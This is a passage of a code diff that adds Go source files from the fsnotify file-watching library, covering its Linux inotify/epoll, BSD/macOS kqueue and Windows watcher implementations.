fd, errno := unix.InotifyInit1(unix.IN_CLOEXEC)
if fd == -1 {
return nil, errno
}
// Create epoll
poller, err := newFdPoller(fd)
if err != nil {
unix.Close(fd)
return nil, err
}
w := &Watcher{
fd: fd,
poller: poller,
watches: make(map[string]*watch),
paths: make(map[int]string),
Events: make(chan Event),
Errors: make(chan error),
done: make(chan struct{}),
doneResp: make(chan struct{}),
}
go w.readEvents()
return w, nil
}
func (w *Watcher) isClosed() bool {
select {
case <-w.done:
return true
default:
return false
}
}
// Close removes all watches and closes the events channel.
func (w *Watcher) Close() error {
if w.isClosed() {
return nil
}
// Send 'close' signal to goroutine, and set the Watcher to closed.
close(w.done)
// Wake up goroutine
w.poller.wake()
// Wait for goroutine to close
<-w.doneResp
return nil
}
// Add starts watching the named file or directory (non-recursively).
func (w *Watcher) Add(name string) error {
name = filepath.Clean(name)
if w.isClosed() {
return errors.New("inotify instance already closed")
}
const agnosticEvents = unix.IN_MOVED_TO | unix.IN_MOVED_FROM |
unix.IN_CREATE | unix.IN_ATTRIB | unix.IN_MODIFY |
unix.IN_MOVE_SELF | unix.IN_DELETE | unix.IN_DELETE_SELF
var flags uint32 = agnosticEvents
w.mu.Lock()
defer w.mu.Unlock()
watchEntry := w.watches[name]
if watchEntry != nil {
flags |= watchEntry.flags | unix.IN_MASK_ADD
}
wd, errno := unix.InotifyAddWatch(w.fd, name, flags)
if wd == -1 {
return errno
}
if watchEntry == nil {
w.watches[name] = &watch{wd: uint32(wd), flags: flags}
w.paths[wd] = name
} else {
watchEntry.wd = uint32(wd)
watchEntry.flags = flags
}
return nil
}
// Remove stops watching the named file or directory (non-recursively).
func (w *Watcher) Remove(name string) error {
name = filepath.Clean(name)
// Fetch the watch.
w.mu.Lock()
defer w.mu.Unlock()
watch, ok := w.watches[name]
// Remove it from inotify.
if !ok {
return fmt.Errorf("can't remove non-existent inotify watch for: %s", name)
}
// We successfully removed the watch if InotifyRmWatch doesn't return an
// error, we need to clean up our internal state to ensure it matches
// inotify's kernel state.
delete(w.paths, int(watch.wd))
delete(w.watches, name)
// inotify_rm_watch will return EINVAL if the file has been deleted;
// the inotify will already have been removed.
// watches and pathes are deleted in ignoreLinux() implicitly and asynchronously
// by calling inotify_rm_watch() below. e.g. readEvents() goroutine receives IN_IGNORE
// so that EINVAL means that the wd is being rm_watch()ed or its file removed
// by another thread and we have not received IN_IGNORE event.
success, errno := unix.InotifyRmWatch(w.fd, watch.wd)
if success == -1 {
// TODO: Perhaps it's not helpful to return an error here in every case.
// the only two possible errors are:
// EBADF, which happens when w.fd is not a valid file descriptor of any kind.
// EINVAL, which is when fd is not an inotify descriptor or wd is not a valid watch descriptor.
// Watch descriptors are invalidated when they are removed explicitly or implicitly;
// explicitly by inotify_rm_watch, implicitly when the file they are watching is deleted.
return errno
}
return nil
}
type watch struct {
wd uint32 // Watch descriptor (as returned by the inotify_add_watch() syscall)
flags uint32 // inotify flags of this watch (see inotify(7) for the list of valid flags)
}
// readEvents reads from the inotify file descriptor, converts the
// received events into Event objects and sends them via the Events channel
func (w *Watcher) readEvents() {
var (
buf [unix.SizeofInotifyEvent * 4096]byte // Buffer for a maximum of 4096 raw events
n int // Number of bytes read with read()
errno error // Syscall errno
ok bool // For poller.wait
)
defer close(w.doneResp)
defer close(w.Errors)
defer close(w.Events)
defer unix.Close(w.fd)
defer w.poller.close()
for {
// See if we have been closed.
if w.isClosed() {
return
}
ok, errno = w.poller.wait()
if errno != nil {
select {
case w.Errors <- errno:
case <-w.done:
return
}
continue
}
if !ok {
continue
}
n, errno = unix.Read(w.fd, buf[:])
// If a signal interrupted execution, see if we've been asked to close, and try again.
// http://man7.org/linux/man-pages/man7/signal.7.html :
// "Before Linux 3.8, reads from an inotify(7) file descriptor were not restartable"
if errno == unix.EINTR {
continue
}
// unix.Read might have been woken up by Close. If so, we're done.
if w.isClosed() {
return
}
if n < unix.SizeofInotifyEvent {
var err error
if n == 0 {
// If EOF is received. This should really never happen.
err = io.EOF
} else if n < 0 {
// If an error occurred while reading.
err = errno
} else {
// Read was too short.
err = errors.New("notify: short read in readEvents()")
}
select {
case w.Errors <- err:
case <-w.done:
return
}
continue
}
var offset uint32
// We don't know how many events we just read into the buffer
// While the offset points to at least one whole event...
for offset <= uint32(n-unix.SizeofInotifyEvent) {
// Point "raw" to the event in the buffer
raw := (*unix.InotifyEvent)(unsafe.Pointer(&buf[offset]))
mask := uint32(raw.Mask)
nameLen := uint32(raw.Len)
if mask&unix.IN_Q_OVERFLOW != 0 {
select {
case w.Errors <- ErrEventOverflow:
case <-w.done:
return
}
}
// If the event happened to the watched directory or the watched file, the kernel
// doesn't append the filename to the event, but we would like to always fill the
// the "Name" field with a valid filename. We retrieve the path of the watch from
// the "paths" map.
w.mu.Lock()
name, ok := w.paths[int(raw.Wd)]
// IN_DELETE_SELF occurs when the file/directory being watched is removed.
// This is a sign to clean up the maps, otherwise we are no longer in sync
// with the inotify kernel state which has already deleted the watch
// automatically.
if ok && mask&unix.IN_DELETE_SELF == unix.IN_DELETE_SELF {
delete(w.paths, int(raw.Wd))
delete(w.watches, name)
}
w.mu.Unlock()
if nameLen > 0 {
// Point "bytes" at the first byte of the filename
bytes := (*[unix.PathMax]byte)(unsafe.Pointer(&buf[offset+unix.SizeofInotifyEvent]))
// The filename is padded with NULL bytes. TrimRight() gets rid of those.
name += "/" + strings.TrimRight(string(bytes[0:nameLen]), "\000")
}
event := newEvent(name, mask)
// Send the events that are not ignored on the events channel
if !event.ignoreLinux(mask) {
select {
case w.Events <- event:
case <-w.done:
return
}
}
// Move to the next event in the buffer
offset += unix.SizeofInotifyEvent + nameLen
}
}
}
// Certain types of events can be "ignored" and not sent over the Events
// channel. Such as events marked ignore by the kernel, or MODIFY events
// against files that do not exist.
func (e *Event) ignoreLinux(mask uint32) bool {
// Ignore anything the inotify API says to ignore
if mask&unix.IN_IGNORED == unix.IN_IGNORED {
return true
}
// If the event is not a DELETE or RENAME, the file must exist.
// Otherwise the event is ignored.
// *Note*: this was put in place because it was seen that a MODIFY
// event was sent after the DELETE. This ignores that MODIFY and
// assumes a DELETE will come or has come if the file doesn't exist.
if !(e.Op&Remove == Remove || e.Op&Rename == Rename) {
_, statErr := os.Lstat(e.Name)
return os.IsNotExist(statErr)
}
return false
}
// newEvent returns an platform-independent Event based on an inotify mask.
func newEvent(name string, mask uint32) Event {
e := Event{Name: name}
if mask&unix.IN_CREATE == unix.IN_CREATE || mask&unix.IN_MOVED_TO == unix.IN_MOVED_TO {
e.Op |= Create
}
if mask&unix.IN_DELETE_SELF == unix.IN_DELETE_SELF || mask&unix.IN_DELETE == unix.IN_DELETE {
e.Op |= Remove
}
if mask&unix.IN_MODIFY == unix.IN_MODIFY {
e.Op |= Write
}
if mask&unix.IN_MOVE_SELF == unix.IN_MOVE_SELF || mask&unix.IN_MOVED_FROM == unix.IN_MOVED_FROM {
e.Op |= Rename
}
if mask&unix.IN_ATTRIB == unix.IN_ATTRIB {
e.Op |= Chmod
}
return e
}
+187
View File
@@ -0,0 +1,187 @@
// Copyright 2015 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build linux
package fsnotify
import (
"errors"
"golang.org/x/sys/unix"
)
type fdPoller struct {
fd int // File descriptor (as returned by the inotify_init() syscall)
epfd int // Epoll file descriptor
pipe [2]int // Pipe for waking up
}
func emptyPoller(fd int) *fdPoller {
poller := new(fdPoller)
poller.fd = fd
poller.epfd = -1
poller.pipe[0] = -1
poller.pipe[1] = -1
return poller
}
// Create a new inotify poller.
// This creates an inotify handler, and an epoll handler.
func newFdPoller(fd int) (*fdPoller, error) {
var errno error
poller := emptyPoller(fd)
defer func() {
if errno != nil {
poller.close()
}
}()
poller.fd = fd
// Create epoll fd
poller.epfd, errno = unix.EpollCreate1(unix.EPOLL_CLOEXEC)
if poller.epfd == -1 {
return nil, errno
}
// Create pipe; pipe[0] is the read end, pipe[1] the write end.
errno = unix.Pipe2(poller.pipe[:], unix.O_NONBLOCK|unix.O_CLOEXEC)
if errno != nil {
return nil, errno
}
// Register inotify fd with epoll
event := unix.EpollEvent{
Fd: int32(poller.fd),
Events: unix.EPOLLIN,
}
errno = unix.EpollCtl(poller.epfd, unix.EPOLL_CTL_ADD, poller.fd, &event)
if errno != nil {
return nil, errno
}
// Register pipe fd with epoll
event = unix.EpollEvent{
Fd: int32(poller.pipe[0]),
Events: unix.EPOLLIN,
}
errno = unix.EpollCtl(poller.epfd, unix.EPOLL_CTL_ADD, poller.pipe[0], &event)
if errno != nil {
return nil, errno
}
return poller, nil
}
// Wait using epoll.
// Returns true if something is ready to be read,
// false if there is not.
func (poller *fdPoller) wait() (bool, error) {
// 3 possible events per fd, and 2 fds, makes a maximum of 6 events.
// I don't know whether epoll_wait returns the number of events returned,
// or the total number of events ready.
// I decided to catch both by making the buffer one larger than the maximum.
events := make([]unix.EpollEvent, 7)
for {
n, errno := unix.EpollWait(poller.epfd, events, -1)
if n == -1 {
if errno == unix.EINTR {
continue
}
return false, errno
}
if n == 0 {
// If there are no events, try again.
continue
}
if n > 6 {
// This should never happen. More events were returned than should be possible.
return false, errors.New("epoll_wait returned more events than I know what to do with")
}
ready := events[:n]
epollhup := false
epollerr := false
epollin := false
for _, event := range ready {
if event.Fd == int32(poller.fd) {
if event.Events&unix.EPOLLHUP != 0 {
// This should not happen, but if it does, treat it as a wakeup.
epollhup = true
}
if event.Events&unix.EPOLLERR != 0 {
// If an error is waiting on the file descriptor, we should pretend
// something is ready to read, and let unix.Read pick up the error.
epollerr = true
}
if event.Events&unix.EPOLLIN != 0 {
// There is data to read.
epollin = true
}
}
if event.Fd == int32(poller.pipe[0]) {
if event.Events&unix.EPOLLHUP != 0 {
// Write pipe descriptor was closed, by us. This means we're closing down the
// watcher, and we should wake up.
}
if event.Events&unix.EPOLLERR != 0 {
// If an error is waiting on the pipe file descriptor.
// This is an absolute mystery, and should never ever happen.
return false, errors.New("Error on the pipe descriptor.")
}
if event.Events&unix.EPOLLIN != 0 {
// This is a regular wakeup, so we have to clear the buffer.
err := poller.clearWake()
if err != nil {
return false, err
}
}
}
}
if epollhup || epollerr || epollin {
return true, nil
}
return false, nil
}
}
// Close the write end of the poller.
func (poller *fdPoller) wake() error {
buf := make([]byte, 1)
n, errno := unix.Write(poller.pipe[1], buf)
if n == -1 {
if errno == unix.EAGAIN {
// Buffer is full, poller will wake.
return nil
}
return errno
}
return nil
}
func (poller *fdPoller) clearWake() error {
// You have to be woken up a LOT in order to get to 100!
buf := make([]byte, 100)
n, errno := unix.Read(poller.pipe[0], buf)
if n == -1 {
if errno == unix.EAGAIN {
// Buffer is empty, someone else cleared our wake.
return nil
}
return errno
}
return nil
}
// Close all poller file descriptors, but not the one passed to it.
func (poller *fdPoller) close() {
if poller.pipe[1] != -1 {
unix.Close(poller.pipe[1])
}
if poller.pipe[0] != -1 {
unix.Close(poller.pipe[0])
}
if poller.epfd != -1 {
unix.Close(poller.epfd)
}
}
+521
View File
@@ -0,0 +1,521 @@
// Copyright 2010 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build freebsd openbsd netbsd dragonfly darwin
package fsnotify
import (
"errors"
"fmt"
"io/ioutil"
"os"
"path/filepath"
"sync"
"time"
"golang.org/x/sys/unix"
)
// Watcher watches a set of files, delivering events to a channel.
type Watcher struct {
Events chan Event
Errors chan error
done chan struct{} // Channel for sending a "quit message" to the reader goroutine
kq int // File descriptor (as returned by the kqueue() syscall).
mu sync.Mutex // Protects access to watcher data
watches map[string]int // Map of watched file descriptors (key: path).
externalWatches map[string]bool // Map of watches added by user of the library.
dirFlags map[string]uint32 // Map of watched directories to fflags used in kqueue.
paths map[int]pathInfo // Map file descriptors to path names for processing kqueue events.
fileExists map[string]bool // Keep track of if we know this file exists (to stop duplicate create events).
isClosed bool // Set to true when Close() is first called
}
type pathInfo struct {
name string
isDir bool
}
// NewWatcher establishes a new watcher with the underlying OS and begins waiting for events.
func NewWatcher() (*Watcher, error) {
kq, err := kqueue()
if err != nil {
return nil, err
}
w := &Watcher{
kq: kq,
watches: make(map[string]int),
dirFlags: make(map[string]uint32),
paths: make(map[int]pathInfo),
fileExists: make(map[string]bool),
externalWatches: make(map[string]bool),
Events: make(chan Event),
Errors: make(chan error),
done: make(chan struct{}),
}
go w.readEvents()
return w, nil
}
// Close removes all watches and closes the events channel.
func (w *Watcher) Close() error {
w.mu.Lock()
if w.isClosed {
w.mu.Unlock()
return nil
}
w.isClosed = true
// copy paths to remove while locked
var pathsToRemove = make([]string, 0, len(w.watches))
for name := range w.watches {
pathsToRemove = append(pathsToRemove, name)
}
w.mu.Unlock()
// unlock before calling Remove, which also locks
for _, name := range pathsToRemove {
w.Remove(name)
}
// send a "quit" message to the reader goroutine
close(w.done)
return nil
}
// Add starts watching the named file or directory (non-recursively).
func (w *Watcher) Add(name string) error {
w.mu.Lock()
w.externalWatches[name] = true
w.mu.Unlock()
_, err := w.addWatch(name, noteAllEvents)
return err
}
// Remove stops watching the the named file or directory (non-recursively).
func (w *Watcher) Remove(name string) error {
name = filepath.Clean(name)
w.mu.Lock()
watchfd, ok := w.watches[name]
w.mu.Unlock()
if !ok {
return fmt.Errorf("can't remove non-existent kevent watch for: %s", name)
}
const registerRemove = unix.EV_DELETE
if err := register(w.kq, []int{watchfd}, registerRemove, 0); err != nil {
return err
}
unix.Close(watchfd)
w.mu.Lock()
isDir := w.paths[watchfd].isDir
delete(w.watches, name)
delete(w.paths, watchfd)
delete(w.dirFlags, name)
w.mu.Unlock()
// Find all watched paths that are in this directory that are not external.
if isDir {
var pathsToRemove []string
w.mu.Lock()
for _, path := range w.paths {
wdir, _ := filepath.Split(path.name)
if filepath.Clean(wdir) == name {
if !w.externalWatches[path.name] {
pathsToRemove = append(pathsToRemove, path.name)
}
}
}
w.mu.Unlock()
for _, name := range pathsToRemove {
// Since these are internal, not much sense in propagating error
// to the user, as that will just confuse them with an error about
// a path they did not explicitly watch themselves.
w.Remove(name)
}
}
return nil
}
// Watch all events (except NOTE_EXTEND, NOTE_LINK, NOTE_REVOKE)
const noteAllEvents = unix.NOTE_DELETE | unix.NOTE_WRITE | unix.NOTE_ATTRIB | unix.NOTE_RENAME
// keventWaitTime to block on each read from kevent
var keventWaitTime = durationToTimespec(100 * time.Millisecond)
// addWatch adds name to the watched file set.
// The flags are interpreted as described in kevent(2).
// Returns the real path to the file which was added, if any, which may be different from the one passed in the case of symlinks.
func (w *Watcher) addWatch(name string, flags uint32) (string, error) {
var isDir bool
// Make ./name and name equivalent
name = filepath.Clean(name)
w.mu.Lock()
if w.isClosed {
w.mu.Unlock()
return "", errors.New("kevent instance already closed")
}
watchfd, alreadyWatching := w.watches[name]
// We already have a watch, but we can still override flags.
if alreadyWatching {
isDir = w.paths[watchfd].isDir
}
w.mu.Unlock()
if !alreadyWatching {
fi, err := os.Lstat(name)
if err != nil {
return "", err
}
// Don't watch sockets.
if fi.Mode()&os.ModeSocket == os.ModeSocket {
return "", nil
}
// Don't watch named pipes.
if fi.Mode()&os.ModeNamedPipe == os.ModeNamedPipe {
return "", nil
}
// Follow Symlinks
// Unfortunately, Linux can add bogus symlinks to watch list without
// issue, and Windows can't do symlinks period (AFAIK). To maintain
// consistency, we will act like everything is fine. There will simply
// be no file events for broken symlinks.
// Hence the returns of nil on errors.
if fi.Mode()&os.ModeSymlink == os.ModeSymlink {
name, err = filepath.EvalSymlinks(name)
if err != nil {
return "", nil
}
w.mu.Lock()
_, alreadyWatching = w.watches[name]
w.mu.Unlock()
if alreadyWatching {
return name, nil
}
fi, err = os.Lstat(name)
if err != nil {
return "", nil
}
}
watchfd, err = unix.Open(name, openMode, 0700)
if watchfd == -1 {
return "", err
}
isDir = fi.IsDir()
}
const registerAdd = unix.EV_ADD | unix.EV_CLEAR | unix.EV_ENABLE
if err := register(w.kq, []int{watchfd}, registerAdd, flags); err != nil {
unix.Close(watchfd)
return "", err
}
if !alreadyWatching {
w.mu.Lock()
w.watches[name] = watchfd
w.paths[watchfd] = pathInfo{name: name, isDir: isDir}
w.mu.Unlock()
}
if isDir {
// Watch the directory if it has not been watched before,
// or if it was watched before, but perhaps only a NOTE_DELETE (watchDirectoryFiles)
w.mu.Lock()
watchDir := (flags&unix.NOTE_WRITE) == unix.NOTE_WRITE &&
(!alreadyWatching || (w.dirFlags[name]&unix.NOTE_WRITE) != unix.NOTE_WRITE)
// Store flags so this watch can be updated later
w.dirFlags[name] = flags
w.mu.Unlock()
if watchDir {
if err := w.watchDirectoryFiles(name); err != nil {
return "", err
}
}
}
return name, nil
}
// readEvents reads from kqueue and converts the received kevents into
// Event values that it sends down the Events channel.
func (w *Watcher) readEvents() {
eventBuffer := make([]unix.Kevent_t, 10)
loop:
for {
// See if there is a message on the "done" channel
select {
case <-w.done:
break loop
default:
}
// Get new events
kevents, err := read(w.kq, eventBuffer, &keventWaitTime)
// EINTR is okay, the syscall was interrupted before timeout expired.
if err != nil && err != unix.EINTR {
select {
case w.Errors <- err:
case <-w.done:
break loop
}
continue
}
// Flush the events we received to the Events channel
for len(kevents) > 0 {
kevent := &kevents[0]
watchfd := int(kevent.Ident)
mask := uint32(kevent.Fflags)
w.mu.Lock()
path := w.paths[watchfd]
w.mu.Unlock()
event := newEvent(path.name, mask)
if path.isDir && !(event.Op&Remove == Remove) {
// Double check to make sure the directory exists. This can happen when
// we do a rm -fr on a recursively watched folders and we receive a
// modification event first but the folder has been deleted and later
// receive the delete event
if _, err := os.Lstat(event.Name); os.IsNotExist(err) {
// mark is as delete event
event.Op |= Remove
}
}
if event.Op&Rename == Rename || event.Op&Remove == Remove {
w.Remove(event.Name)
w.mu.Lock()
delete(w.fileExists, event.Name)
w.mu.Unlock()
}
if path.isDir && event.Op&Write == Write && !(event.Op&Remove == Remove) {
w.sendDirectoryChangeEvents(event.Name)
} else {
// Send the event on the Events channel.
select {
case w.Events <- event:
case <-w.done:
break loop
}
}
if event.Op&Remove == Remove {
// Look for a file that may have overwritten this.
// For example, mv f1 f2 will delete f2, then create f2.
if path.isDir {
fileDir := filepath.Clean(event.Name)
w.mu.Lock()
_, found := w.watches[fileDir]
w.mu.Unlock()
if found {
// make sure the directory exists before we watch for changes. When we
// do a recursive watch and perform rm -fr, the parent directory might
// have gone missing, ignore the missing directory and let the
// upcoming delete event remove the watch from the parent directory.
if _, err := os.Lstat(fileDir); err == nil {
w.sendDirectoryChangeEvents(fileDir)
}
}
} else {
filePath := filepath.Clean(event.Name)
if fileInfo, err := os.Lstat(filePath); err == nil {
w.sendFileCreatedEventIfNew(filePath, fileInfo)
}
}
}
// Move to next event
kevents = kevents[1:]
}
}
// cleanup
err := unix.Close(w.kq)
if err != nil {
// only way the previous loop breaks is if w.done was closed so we need to async send to w.Errors.
select {
case w.Errors <- err:
default:
}
}
close(w.Events)
close(w.Errors)
}
// newEvent returns an platform-independent Event based on kqueue Fflags.
func newEvent(name string, mask uint32) Event {
e := Event{Name: name}
if mask&unix.NOTE_DELETE == unix.NOTE_DELETE {
e.Op |= Remove
}
if mask&unix.NOTE_WRITE == unix.NOTE_WRITE {
e.Op |= Write
}
if mask&unix.NOTE_RENAME == unix.NOTE_RENAME {
e.Op |= Rename
}
if mask&unix.NOTE_ATTRIB == unix.NOTE_ATTRIB {
e.Op |= Chmod
}
return e
}
func newCreateEvent(name string) Event {
return Event{Name: name, Op: Create}
}
// watchDirectoryFiles to mimic inotify when adding a watch on a directory
func (w *Watcher) watchDirectoryFiles(dirPath string) error {
// Get all files
files, err := ioutil.ReadDir(dirPath)
if err != nil {
return err
}
for _, fileInfo := range files {
filePath := filepath.Join(dirPath, fileInfo.Name())
filePath, err = w.internalWatch(filePath, fileInfo)
if err != nil {
return err
}
w.mu.Lock()
w.fileExists[filePath] = true
w.mu.Unlock()
}
return nil
}
// sendDirectoryEvents searches the directory for newly created files
// and sends them over the event channel. This functionality is to have
// the BSD version of fsnotify match Linux inotify which provides a
// create event for files created in a watched directory.
func (w *Watcher) sendDirectoryChangeEvents(dirPath string) {
// Get all files
files, err := ioutil.ReadDir(dirPath)
if err != nil {
select {
case w.Errors <- err:
case <-w.done:
return
}
}
// Search for new files
for _, fileInfo := range files {
filePath := filepath.Join(dirPath, fileInfo.Name())
err := w.sendFileCreatedEventIfNew(filePath, fileInfo)
if err != nil {
return
}
}
}
// sendFileCreatedEvent sends a create event if the file isn't already being tracked.
func (w *Watcher) sendFileCreatedEventIfNew(filePath string, fileInfo os.FileInfo) (err error) {
w.mu.Lock()
_, doesExist := w.fileExists[filePath]
w.mu.Unlock()
if !doesExist {
// Send create event
select {
case w.Events <- newCreateEvent(filePath):
case <-w.done:
return
}
}
// like watchDirectoryFiles (but without doing another ReadDir)
filePath, err = w.internalWatch(filePath, fileInfo)
if err != nil {
return err
}
w.mu.Lock()
w.fileExists[filePath] = true
w.mu.Unlock()
return nil
}
func (w *Watcher) internalWatch(name string, fileInfo os.FileInfo) (string, error) {
if fileInfo.IsDir() {
// mimic Linux providing delete events for subdirectories
// but preserve the flags used if currently watching subdirectory
w.mu.Lock()
flags := w.dirFlags[name]
w.mu.Unlock()
flags |= unix.NOTE_DELETE | unix.NOTE_RENAME
return w.addWatch(name, flags)
}
// watch file to mimic Linux inotify
return w.addWatch(name, noteAllEvents)
}
// kqueue creates a new kernel event queue and returns a descriptor.
func kqueue() (kq int, err error) {
kq, err = unix.Kqueue()
if kq == -1 {
return kq, err
}
return kq, nil
}
// register events with the queue
func register(kq int, fds []int, flags int, fflags uint32) error {
changes := make([]unix.Kevent_t, len(fds))
for i, fd := range fds {
// SetKevent converts int to the platform-specific types:
unix.SetKevent(&changes[i], fd, unix.EVFILT_VNODE, flags)
changes[i].Fflags = fflags
}
// register the events
success, err := unix.Kevent(kq, changes, nil, nil)
if success == -1 {
return err
}
return nil
}
// read retrieves pending events, or waits until an event occurs.
// A timeout of nil blocks indefinitely, while 0 polls the queue.
func read(kq int, events []unix.Kevent_t, timeout *unix.Timespec) ([]unix.Kevent_t, error) {
n, err := unix.Kevent(kq, nil, events, timeout)
if err != nil {
return nil, err
}
return events[0:n], nil
}
// durationToTimespec prepares a timeout value
func durationToTimespec(d time.Duration) unix.Timespec {
return unix.NsecToTimespec(d.Nanoseconds())
}
+11
View File
@@ -0,0 +1,11 @@
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build freebsd openbsd netbsd dragonfly
package fsnotify
import "golang.org/x/sys/unix"
const openMode = unix.O_NONBLOCK | unix.O_RDONLY | unix.O_CLOEXEC
+12
View File
@@ -0,0 +1,12 @@
// Copyright 2013 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build darwin
package fsnotify
import "golang.org/x/sys/unix"
// note: this constant is not defined on BSD
const openMode = unix.O_EVTONLY | unix.O_CLOEXEC
+561
View File
@@ -0,0 +1,561 @@
// Copyright 2011 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build windows
package fsnotify
import (
"errors"
"fmt"
"os"
"path/filepath"
"runtime"
"sync"
"syscall"
"unsafe"
)
// Watcher watches a set of files, delivering events to a channel.
type Watcher struct {
Events chan Event
Errors chan error
isClosed bool // Set to true when Close() is first called
mu sync.Mutex // Map access
port syscall.Handle // Handle to completion port
watches watchMap // Map of watches (key: i-number)
input chan *input // Inputs to the reader are sent on this channel
quit chan chan<- error
}
// NewWatcher establishes a new watcher with the underlying OS and begins waiting for events.
func NewWatcher() (*Watcher, error) {
port, e := syscall.CreateIoCompletionPort(syscall.InvalidHandle, 0, 0, 0)
if e != nil {
return nil, os.NewSyscallError("CreateIoCompletionPort", e)
}
w := &Watcher{
port: port,
watches: make(watchMap),
input: make(chan *input, 1),
Events: make(chan Event, 50),
Errors: make(chan error),
quit: make(chan chan<- error, 1),
}
go w.readEvents()
return w, nil
}
// Close removes all watches and closes the events channel.
func (w *Watcher) Close() error {
if w.isClosed {
return nil
}
w.isClosed = true
// Send "quit" message to the reader goroutine
ch := make(chan error)
w.quit <- ch
if err := w.wakeupReader(); err != nil {
return err
}
return <-ch
}
// Add starts watching the named file or directory (non-recursively).
func (w *Watcher) Add(name string) error {
if w.isClosed {
return errors.New("watcher already closed")
}
in := &input{
op: opAddWatch,
path: filepath.Clean(name),
flags: sysFSALLEVENTS,
reply: make(chan error),
}
w.input <- in
if err := w.wakeupReader(); err != nil {
return err
}
return <-in.reply
}
// Remove stops watching the the named file or directory (non-recursively).
func (w *Watcher) Remove(name string) error {
in := &input{
op: opRemoveWatch,
path: filepath.Clean(name),
reply: make(chan error),
}
w.input <- in
if err := w.wakeupReader(); err != nil {
return err
}
return <-in.reply
}
const (
// Options for AddWatch
sysFSONESHOT = 0x80000000
sysFSONLYDIR = 0x1000000
// Events
sysFSACCESS = 0x1
sysFSALLEVENTS = 0xfff
sysFSATTRIB = 0x4
sysFSCLOSE = 0x18
sysFSCREATE = 0x100
sysFSDELETE = 0x200
sysFSDELETESELF = 0x400
sysFSMODIFY = 0x2
sysFSMOVE = 0xc0
sysFSMOVEDFROM = 0x40
sysFSMOVEDTO = 0x80
sysFSMOVESELF = 0x800
// Special events
sysFSIGNORED = 0x8000
sysFSQOVERFLOW = 0x4000
)
func newEvent(name string, mask uint32) Event {
e := Event{Name: name}
if mask&sysFSCREATE == sysFSCREATE || mask&sysFSMOVEDTO == sysFSMOVEDTO {
e.Op |= Create
}
if mask&sysFSDELETE == sysFSDELETE || mask&sysFSDELETESELF == sysFSDELETESELF {
e.Op |= Remove
}
if mask&sysFSMODIFY == sysFSMODIFY {
e.Op |= Write
}
if mask&sysFSMOVE == sysFSMOVE || mask&sysFSMOVESELF == sysFSMOVESELF || mask&sysFSMOVEDFROM == sysFSMOVEDFROM {
e.Op |= Rename
}
if mask&sysFSATTRIB == sysFSATTRIB {
e.Op |= Chmod
}
return e
}
const (
opAddWatch = iota
opRemoveWatch
)
const (
provisional uint64 = 1 << (32 + iota)
)
type input struct {
op int
path string
flags uint32
reply chan error
}
type inode struct {
handle syscall.Handle
volume uint32
index uint64
}
type watch struct {
ov syscall.Overlapped
ino *inode // i-number
path string // Directory path
mask uint64 // Directory itself is being watched with these notify flags
names map[string]uint64 // Map of names being watched and their notify flags
rename string // Remembers the old name while renaming a file
buf [4096]byte
}
type indexMap map[uint64]*watch
type watchMap map[uint32]indexMap
func (w *Watcher) wakeupReader() error {
e := syscall.PostQueuedCompletionStatus(w.port, 0, 0, nil)
if e != nil {
return os.NewSyscallError("PostQueuedCompletionStatus", e)
}
return nil
}
func getDir(pathname string) (dir string, err error) {
attr, e := syscall.GetFileAttributes(syscall.StringToUTF16Ptr(pathname))
if e != nil {
return "", os.NewSyscallError("GetFileAttributes", e)
}
if attr&syscall.FILE_ATTRIBUTE_DIRECTORY != 0 {
dir = pathname
} else {
dir, _ = filepath.Split(pathname)
dir = filepath.Clean(dir)
}
return
}
func getIno(path string) (ino *inode, err error) {
h, e := syscall.CreateFile(syscall.StringToUTF16Ptr(path),
syscall.FILE_LIST_DIRECTORY,
syscall.FILE_SHARE_READ|syscall.FILE_SHARE_WRITE|syscall.FILE_SHARE_DELETE,
nil, syscall.OPEN_EXISTING,
syscall.FILE_FLAG_BACKUP_SEMANTICS|syscall.FILE_FLAG_OVERLAPPED, 0)
if e != nil {
return nil, os.NewSyscallError("CreateFile", e)
}
var fi syscall.ByHandleFileInformation
if e = syscall.GetFileInformationByHandle(h, &fi); e != nil {
syscall.CloseHandle(h)
return nil, os.NewSyscallError("GetFileInformationByHandle", e)
}
ino = &inode{
handle: h,
volume: fi.VolumeSerialNumber,
index: uint64(fi.FileIndexHigh)<<32 | uint64(fi.FileIndexLow),
}
return ino, nil
}
// Must run within the I/O thread.
func (m watchMap) get(ino *inode) *watch {
if i := m[ino.volume]; i != nil {
return i[ino.index]
}
return nil
}
// Must run within the I/O thread.
func (m watchMap) set(ino *inode, watch *watch) {
i := m[ino.volume]
if i == nil {
i = make(indexMap)
m[ino.volume] = i
}
i[ino.index] = watch
}
// Must run within the I/O thread.
func (w *Watcher) addWatch(pathname string, flags uint64) error {
dir, err := getDir(pathname)
if err != nil {
return err
}
if flags&sysFSONLYDIR != 0 && pathname != dir {
return nil
}
ino, err := getIno(dir)
if err != nil {
return err
}
w.mu.Lock()
watchEntry := w.watches.get(ino)
w.mu.Unlock()
if watchEntry == nil {
if _, e := syscall.CreateIoCompletionPort(ino.handle, w.port, 0, 0); e != nil {
syscall.CloseHandle(ino.handle)
return os.NewSyscallError("CreateIoCompletionPort", e)
}
watchEntry = &watch{
ino: ino,
path: dir,
names: make(map[string]uint64),
}
w.mu.Lock()
w.watches.set(ino, watchEntry)
w.mu.Unlock()
flags |= provisional
} else {
syscall.CloseHandle(ino.handle)
}
if pathname == dir {
watchEntry.mask |= flags
} else {
watchEntry.names[filepath.Base(pathname)] |= flags
}
if err = w.startRead(watchEntry); err != nil {
return err
}
if pathname == dir {
watchEntry.mask &= ^provisional
} else {
watchEntry.names[filepath.Base(pathname)] &= ^provisional
}
return nil
}
// Must run within the I/O thread.
func (w *Watcher) remWatch(pathname string) error {
dir, err := getDir(pathname)
if err != nil {
return err
}
ino, err := getIno(dir)
if err != nil {
return err
}
w.mu.Lock()
watch := w.watches.get(ino)
w.mu.Unlock()
if watch == nil {
return fmt.Errorf("can't remove non-existent watch for: %s", pathname)
}
if pathname == dir {
w.sendEvent(watch.path, watch.mask&sysFSIGNORED)
watch.mask = 0
} else {
name := filepath.Base(pathname)
w.sendEvent(filepath.Join(watch.path, name), watch.names[name]&sysFSIGNORED)
